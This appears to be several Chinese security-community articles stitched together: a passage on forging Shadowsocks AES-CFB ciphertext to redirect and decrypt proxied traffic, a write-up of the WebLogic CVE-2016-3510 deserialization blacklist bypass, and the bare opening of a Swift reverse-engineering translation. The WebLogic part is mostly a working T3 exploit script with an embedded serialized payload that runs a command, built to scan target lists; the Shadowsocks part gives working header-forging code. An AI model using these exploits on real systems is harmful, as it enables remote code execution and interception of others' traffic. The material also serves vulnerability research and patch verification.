攻击者只知道 rand_iv、rand_iv2，不知道key，因此无法直接解密整个request 和 response。
## 三、CFB加密模式：
以 AES-256-CFB 为例，它是一种流式加密而不是分组加密，不会直接将明文进行AES 操作，而是
XOR(明文,AES(密文))来计算，因此可以粗略地理解为一个序列无限长的 xor 操作。
CFB 的特性，长话短说，放三个结论：
1. CFB 的加密和解密函数是一模一样的，因为最后一步是 xor，也就是说连续加密 2 遍就是本身
2. 密文的某个 byte 被篡改后，解密出来的该 byte 是错的，第 N+1 个block也是错的，其他数据都是正确的
3. 在给定的 key 和 iv 下，cfb 的每个 block 退化为普通的 xor，已知某段明文和和对应的密文时，可以算出使用的 xor_key，从而可以对该段明文密文进行伪造。【！！！特别注意这条，之后会用到！！！！】
下面的代码（为了便于观看就是0x00 了）可以说明，加密和解密是一样的，最终结果确实是明文和 AES(IV)的异或。请一定要添加
segment_size=128，因为 pycrypto （pycryptodome）的 CFB 默认是1 字节的
In [13]: cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128); print(cipher.encrypt(b'\x00'*5).hex())
c4ebba6062
In [14]: cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128); print(cipher.decrypt(b'\x00'*5).hex())
c4ebba6062
In [15]: cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128); print(cipher.encrypt(bytes.fromhex('c4ebba6062')).hex())
0000000000
In [16]: cipher = AES.new(key, AES.MODE_ECB); print(cipher.encrypt(iv).hex())
c4ebba606297fc5984dc75e2e5f70430
## 四、攻击案例一：解密 HTTP返回包
还是熟悉的例子， `sslocal-1080` ， `ssserver-1081`， `curl --socks5 127.0.0.1:1080
http://a.baidu.com`添加适当的日志，在 `ss-local` 中有如下的日志，与抓包结果相符。（pcap 可以在 git 仓库里找到）
（嫌麻烦的可以只看标题，跳过这堆数据）
#### 初始化 key 和 iv
2020-02-15 18:20:40 INFO | AES-key =
7a95bf926a0333f57705aeac07a362a2daea958c0a0cf8e1e2843b62b127f809
---|---
2020-02-15 18:20:49 INFO | encrypt set_iv = 597623d791c86c0e69da60d78de8c6e8
2020-02-15 18:20:49 INFO | connecting 123.125.114.38:80 from 127.0.0.1:63126
#### IV 拼接 AES.update(socks5Headers)
在使用 IPV4 的情况下，socks5Headers遵循该协议：[0x01 + IP + port]
例如 `017b7d72260050` 表示 `123.125.114.38:80`
2020-02-15 18:20:49 INFO | encrypt input 017b7d72260050
---|---
2020-02-15 18:20:49 INFO | encrypt ret
=597623d791c86c0e69da60d78de8c6e85e0639f44d3611
#### AES.update(httpRequest)
2020-02-15 18:20:49 INFO | encrypt
input474554202f20485454502f312e310d0a486f73743a20612e62616964752e636f6d0d0a557365722d4167656e743a206375726c2f372e36342e310d0a4163636570743a202a2f2a0d0a0d0a
---|---
2020-02-15 18:20:49 INFO | encrypt ret
=0692d35fd73dd7a37d3eee8245d8232d2728bd97c45a6638c1fb4230c6b402290c9684a41da8a101b108494d7752aa1636899215d5b081ac7ff2cf3bf113c8005d172b4d9fcb50ab0985e7
#### 发送给 ssserver
2020-02-15 18:20:49 INFO | send to remote
---|---
597623d791c86c0e69da60d78de8c6e85e0639f44d36110692d35fd73dd7a37d3eee8245d8232d2728bd97c45a6638c1fb4230c6b402290c9684a41da8a101b108494d7752aa1636899215d5b081ac7ff2cf3bf113c8005d172b4d9fcb50ab0985e7
|
#### 收到来自 ssserver
2020-02-15 18:20:49 INFO | recv from remote
---|---
83fd8540bb239f54661c57193a9557a538d494faef23a83936fbe00cb700d79c9e9fd2b19dafc46d3a7784f6b4800c8fcb060e2c0b0d9f54848b549739f6b77ea5f76882879b8b929f45aebb2020dafc65809efab745c6ca2ee4ee4be19f8aa9b860b3045b566bb78d2fbe34ea64c49d6eed64055a2fe8354b659138597900ee0c0614af13439ccb3e309845b60e190784c3519abcc4ddb87040c43a0331a9b1e51bf271c292621a5685e0f06bd398670eb77927e2cd90dcb2cc167724c944e4ceaddd28718b80e72555431dbd18b4cb0fb5237d7d3a57d03872e10dc694081f0437b3014178e367baac9c0cb746799d8bd7be5a17
|
#### 前16 byte的数据是iv，后面是余下的数据
2020-02-15 18:20:49 INFO | decrypt set_iv = 83fd8540bb239f54661c57193a9557a5
---|---
2020-02-15 18:20:49 INFO | decrypt input =
38d494faef23a83936fbe00cb700d79c9e9fd2b19dafc46d3a7784f6b4800c8fcb060e2c0b0d9f54848b549739f6b77ea5f76882879b8b929f45aebb2020dafc65809efab745c6ca2ee4ee4be19f8aa9b860b3045b566bb78d2fbe34ea64c49d6eed64055a2fe8354b659138597900ee0c0614af13439ccb3e309845b60e190784c3519abcc4ddb87040c43a0331a9b1e51bf271c292621a5685e0f06bd398670eb77927e2cd90dcb2cc167724c944e4ceaddd28718b80e72555431dbd18b4cb0fb5237d7d3a57d03872e10dc694081f0437b3014178e367baac9c0cb746799d8bd7be5a17
#### 解密结果是真正的 httpResponse
2020-02-15 18:20:49 INFO | decrypt ret =
---|---
485454502f312e3120323030204f4b0d0a446174653a205361742c2031352046656220323032302031303a32303a343920474d540d0a5365727665723a2045434f4d2041706163686520312e302e31332e300d0a4c6173742d4d6f6469666965643a205468752c203232204f637420323031352030373a30383a303020474d540d0a455461673a2022356639343665612d332d3536323838623530220d0a4163636570742d52616e6765733a2062797465730d0a436f6e74656e742d4c656e6774683a20330d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a0d0a4f4b0a
|
#### 正片开始
我们关注一下这个返回包:
因为去掉头部的16字节iv，第一个 block 的密文数据是： `38d494faef23a83936fbe00cb700d79c` ；
而第一个 block 的明文数据可以被猜到，是8 字节的 `HTTP/1.1` ；
因此第一个 block 的 xor_key[:8]是 bytes.fromhex(’38d494faef23a83936fbe00cb700d79c’) ^
b”HTTP/1.1″，结果是 `7080c0aac0128608` 验算一下：AES(iv) =
`7080c0aac012860816c9d03c974f9c91` ，完全一致。
注意上面的【结论3】，此时我们拥有能力伪造密文的前 8byte，从而让服务器解密出我们想要的前 8 byte。
在我们的案例中，ssserver 收到 sslocal的包时，前 7 byte 是[0x01 + IP + port]，表示需要被访问的地址。
因此我们有能力控制这7个 byte，ssserver 将解密后的数据，发给我们指定的IPport 。
思路有了，具体操作如下：取返回包，切掉前 16byte，将前7byte 改写为 xor(xor_key,[0x01 + IP +
port])，后面的内容不变。
服务器解密时，可以正确拿到
IP、port，并且正确解密[7:16]的其他数据，错误解密[16:32]，正确解密[32:]的数据，并且将[7:]解密后发送给我们指定的IP:
port,直接监听即可完成攻击。
代码如下：
predict_data=b"HTTP/1.1"
predict_xor_key=bytes([(predict_data[i]^recv_data[i])foriinrange(len(predict_data))])
target_ip="127.0.0.1"
target_port=1083
fake_header=b'\x01'+socket.inet_pton(socket.AF_INET,target_ip)+bytes(struct.pack('>H',target_port))
fake_header=bytes([(fake_header[i]^predict_xor_key[i])foriinrange(len(fake_header))])
fake_data=recv_iv+fake_header+recv_data[len(fake_header):]print(fake_data.hex())
效果图如下：
## 五、攻击案例二：解密指定 domain 的 httpRequest包
request 与 response 有很大的不同，response 中最前面的字节肯定是 HTTP，而 request 最前面的字节是sock5 协议。
在IP 表示的情况下，是[0x01 + IP + port]，理论上，攻击者有1/int32 的概率猜对 IP，之后模仿之前的方式，将 IP 改为指定的
IP，但这样代价非常高，每个包都要猜一次 int32，是不可行的。
在domain 表示的情况下，最前面是[0x03 + domain_len + domain + port]，而猜 domain 的难度可能比猜
IP要低，例如我只想知道这个包是不是发给 a.baidu.com 的。就假设发包的明文是 a.baidu.com，如果猜中了，就可以将它篡改为
a.baidu.abc。
这里演示一下对给定的 httpRequest 包，假设 domain 是 a.baidu.com 的攻击方式。
curl 默认是本地 DNS 解析，所以会出现0x1+IP+port
的现象，大多数情况下，浏览器会直接把域名发给sslocal，是0x03+domain+port
的方式。因此需要用浏览器触发一下，然后打日志抓包，这里就不赘述了。
发包的明文是： `03 + 0B + "a.baidu.com" + port(80)`
发包的密文是： `67c9c0858b1beecc3c0b07cb310849b0`
发包的 xor_key 是： `64c2a1abe97a87a8492564a45c0819`
因此可以构造： `03 + 0B + "a.baidu.abc" + port(1083)`
ssserver 收到后就会把后面的数据发给 a.baidu.abc:1083，为了方便，我把 a.baidu.abc
指向127.0.0.1了，发现确实可以收到数据。
代码如下
predict_data = b"\x03\x0ba.baidu.com\x00\x50" # a.baidu.com:80
predict_xor_key = bytes([(predict_data[i] ^ send_data[i]) for i in range(len(predict_data))])
target_domain = b"a.baidu.abc"
target_port = 1083target_domain = b"\x03\x0b" + target_domain + bytes(struct.pack('>H', target_port))
fake_header = bytes([(target_domain[i] ^ predict_xor_key[i]) for i in range(len(target_domain))])
fake_data = send_iv + fake_header + send_data[len(fake_header):]
print(fake_data.hex()) |
效果图如下：
## 六、攻击案例三：确认 https 流量是否属于某个域名
例如访问的数据包，明文是：
显然明文开头的那部分是可以猜的，猜中后同样可以使用案例二的方式，把流量打给指定的服务器。但缺点是没有具体内容，只知道是个的包。（对于某些情景下来说已经够了，你懂得）
看吧，虽然是 https，但也不是非常的安全。。。
## 七、要点总结
1. ssserver 可以理解为黑盒解密机器，解密后的前几个 byte 决定发往的地址，后几个 byte 就是明文数据。
2. 因 CFB 的特性，在第一个 block 退化为了普通的 xor，已知明文的情况下，导致密文可以被伪造。
3. 攻击方式的局限性：server 一定要在线，因为只有 server 才能解密数据，存在被发现的可能。
本文的全部代码位于：<https://github.com/LeadroyaL/ss-redirect-vuln-exp>，欢迎交流。
* * * | 社区文章 |
### 影响范围
* Oracle WebLogic Server 12.2.1.0
* Oracle WebLogic Server 12.1.3.0
* Oracle WebLogic Server 12.1.2.0
* Oracle WebLogic Server 10.3.6.0
### 演示环境
* Oracle WebLogic Server 10.3.6.0
* Windows 10.0.18362.356
* JDK 160_29
### 漏洞概述
CVE-2016-3510漏洞是对CVE-2015-4852漏洞修复的绕过，攻击者在可以通过该漏洞实现远程命令执行。
### 补丁回顾
这里对CVE-2015-4852漏洞补丁做一个简易的分析：
Step 1：下载补丁程序
链接：<https://pan.baidu.com/s/1LmwqkGQg5gYruwUkKmXc8w>
提取码：69ph
Step 2：执行以下命令来检测当前Weblogic系统是否存在CVE-2015-4852漏洞，如果存在会在目录下生成a.txt
java -jar Test.jar weblogic 127.0.0.1 7001 C:\Users\Hepta\Desktop\zip\a.txt
Step 3：之后切换到C:\Oracle\Middleware\utils\bsu目录下执行以下命令来确定当前Weblogic版本等信息：
bsu.cmd -prod_dir=C:\Oracle\Middleware\wlserver_10.3 -status=applied -verbose –view
Step
4：将补丁包p20780171_1036_Generic.zip解压到C:\Oracle\Middleware\utils\bsu\cache_dir目录，修改pom文件名称
Step 5：之后执行以下命令打补丁
bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=EJUW -prod_dir=C:\Oracle\Middleware\wlserver_10.3 –verbose
Step 6：与上述操作类似，之后打第二个补丁
bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=ZLNA -prod_dir=C:\Oracle\Middleware\wlserver_10.3 –verbose
Setp 7 ：查看已打补丁信息
bsu.cmd -view -verbose -prod_dir=C:\Oracle\Middleware\wlserver_10.3 -status=applied
Step 8：之后重启Weblogic
Step 9：在我们的攻击主机中再次执行载荷发现已经无效了(此处的test.ser为通过ysoserial生成的cc1链calc序列化数据文件)
python2 weblogic_t3.py 192.168.174.144 7001 test.ser
在目标主机中只会显示以下结果：
之后查看日志记录获取详细信息：
java.io.InvalidClassException: Unauthorized deserialization attempt; org.apache.commons.collections.functors.ChainedTransformer
at weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.resolveClass(InboundMsgAbbrev.java:116)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1574)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1495)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1731)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1946)
at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:479)
at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:149)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:974)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1848)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1752)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1946)
at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:479)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:312)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:974)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1848)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1752)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1946)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1870)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1752)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1946)
at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:479)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:312)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:974)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1848)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1752)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1328)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:350)
at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:69)
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:41)
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:215)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:394)
at weblogic.socket.NTSocketMuxer.processSockets(NTSocketMuxer.java:105)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)
之后添加patch_jars目录下的jar包到Libraries目录下：
之后以日志记录中的关键字"Unauthorized deserialization
attempt"为信息查看BUG22248372_1036.jar，发现位于：
BUG22248372_1036.jar!\weblogic\rjvm\InboundMsgAbbrev.class
之后在关键词出下断点，然后再次执行载荷：
发现断点会断在com.bea.core.weblogic.rmi.client_1.11.0.0.jar!/weblogic/rjvm/InboundMsgAbbrev.class
之后继续跟进发现会有BLACK_LIST.contains(className)的检查，很明显这里是对类名做了安全检查，下面显示了过滤的黑明单类：
最终在org.apache.commons.collections.functors处被匹配到：
### 漏洞思考
CVE-2015-4852采用黑名单的方式来修复漏洞，从BUG.jar中可以看出该修复方法主要作用在wlthint3client.jar包中以下三个位置：
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
既然是黑名单修复方式，那么自然而然不可避免的就是带来被绕过的情况，在这里如果我们可以找到在readObject中创建自己的InputStream的对象，并且不使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream类的readObject进行反序列化，之后再通过调用readObject()方法进行反序列化的数据的读取，这样一来我们就可以反序列化，CVE-2016-0638正是基于这样的思路找到了weblogic.jms.common.StreamMessageImpl类来实现反序列化操作，而这里我们去讨论一个更加有趣一些的洞——CVE-2016-3510，该漏洞可以是对CVE-2015-4852的绕过，也是对CVE-2016-0638更深入研究得出的一种更加巧妙绕很名单的方式，下面进行详细分析~
### 漏洞原理
该漏洞实现反序列化的思路是将反序列化的对象封装进weblogic.corba.utils.MarshalledObject，然后再对MarshalledObject进行序列化，生成payload字节码，反序列化时MarshalledObject不在WebLogic黑名单中，所以可正常进行反序列化，而在反序列化时MarshalledObject对象再调用readObject时对MarshalledObject封装的序列化对象再次反序列化，从而逃过了黑名单的检查。
### 漏洞分析
下载<https://github.com/5up3rc/weblogic_cmd> ，之后使用IDEA打开，配置运行参数：
-H "192.168.174.144" -C "calc" -B -os win
之后修改一下payload类型为"marshall"：
下面跟踪看一下weblogic_cmd构造EXP的流程，首先在Main.java的executeBlind(host,
port);处下断点进行Debug调试分析：
之后跟进executeBlind()函数：
之后继续跟进bindeExecute()函数：
之后跟进SerialBindDatas()函数，该函数用于序列化绑定的dada信息(待执行的命令)：
之后继续跟进blindExecutePayloadTransformerChain(execArgs)函数：
之后继续跟进serialData，可以看到这里使用的依旧是CC1链：
此处的handler是构造的cc1对象，之后我们跟进BypassPayloadSelector.selectBypass()，可以看到此处根据Type的类型来确定如何构造payload，这里我们的type为"marshall":
之后跟进marshalledObject(payload)，可以看到此处将payload封装进了marshalledObject对象：
MarshalledObject(payload)实现如下所示：
之后返回了一个marshalledObject，需要注意的是该对象封装有我们在CC1的payload载荷：
之后返回到selectBypass，此时的payload已并非单纯的CC1链，而是MarshalledObject封装后的CC1链的载荷：
之后继续返回到serialDate中，我们继续向下跟踪进入到Serializables.serialize(_handler);中：
之后将_handler序列化后再从字节转数组，然后返回：
之后再返回到bindExecute中，通过T3ProtocolOperation.send()将序列化后的数据发送出去：
pahse1Str中的即为最后构造的序列化载荷：
发送之后成功执行载荷：
### 漏洞EXP
#!/usr/bin/env python
#coding:utf-8
import socket
import time
import re
import argparse
from multiprocessing.dummy import Pool
VUL=['CVE-2016-3510']
PAYLOAD=['aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870833836b3757200025b42acf317f8060854e0020000787000000572aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000787000000003740007636d642e6578657400022f6374000463616c63740004657865637571007e001e000000017671007e002f7371007e0011737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f4000000000000078737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003d']
VER_SIG=['org.apache.commons.collections.functors.InvokerTransformer']
def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))
def buildT3RequestObject(dip,sock):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))
def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
res='NO_DATA'
try:
res=sock.recv(4096)
except socket.timeout:
pass
# print res.encode('hex')
return res
def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))
return True
else:
print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
return False
def run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(60)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(dip,sock)
rs=sendEvilObjData(sock,PAYLOAD[index])
checkVul(rs,server_addr,index)
def exp(target):
dip,dport = target
vuls = []
for index in range(len(VUL)):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(60)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(dip,sock)
rs=sendEvilObjData(sock,PAYLOAD[index])
if checkVul(rs,server_addr,index):
vuls.append(VUL[index])
except Exception as e:
print('[-]{} fail:{}'.format(dip,str(e)))
return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls}
def load_target_from_file(filename,port):
iplist = []
with open(filename) as f:
for line in f:
ip = line.strip()
if len(ip)>0:
iplist.append((ip,port))
return iplist
def process_result(results):
results_ok = []
results_fail = []
for r in results:
if r['status'] == 'ok':
results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))
else:
results_fail.append(r['ip'])
print('[+]vuls total:{}n{}'.format(len(results_ok), 'n'.join(results_ok)))
def main():
parser = argparse.ArgumentParser(description='weblogic scanner')
parser.add_argument('-f','--file',default=None,help='read target ip from file')
parser.add_argument('-t','--target',default=None,help='target ip')
parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')
args = parser.parse_args()
if not args.file is None:
iplist = load_target_from_file(args.file,int(args.port))
pool = Pool(10)
results = pool.map(exp,iplist)
pool.close()
pool.join()
process_result(results)
elif not args.target is None:
exp((args.target,int(args.port)))
else:
parser.print_help()
print('You must set target ip or file!')
if __name__=="__main__":
main()
执行EXP:
之后再目标主机中成功执行命令：
补定被成功绕过，不得不说该漏洞的发现者是真的强，而且这种绕黑名单的思路也是一种值得借鉴的思路，不管是Jackson还是fastjson等场景中，不过适合这样场景的类估计有点难找哦~ | 社区文章 |
# Swift逆向工程：深入对象
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://rotlogix.com/2016/01/25/digging-into-Swift-objects/>
译文仅供参考，具体内容表达以及含义原文为准。
**概述**
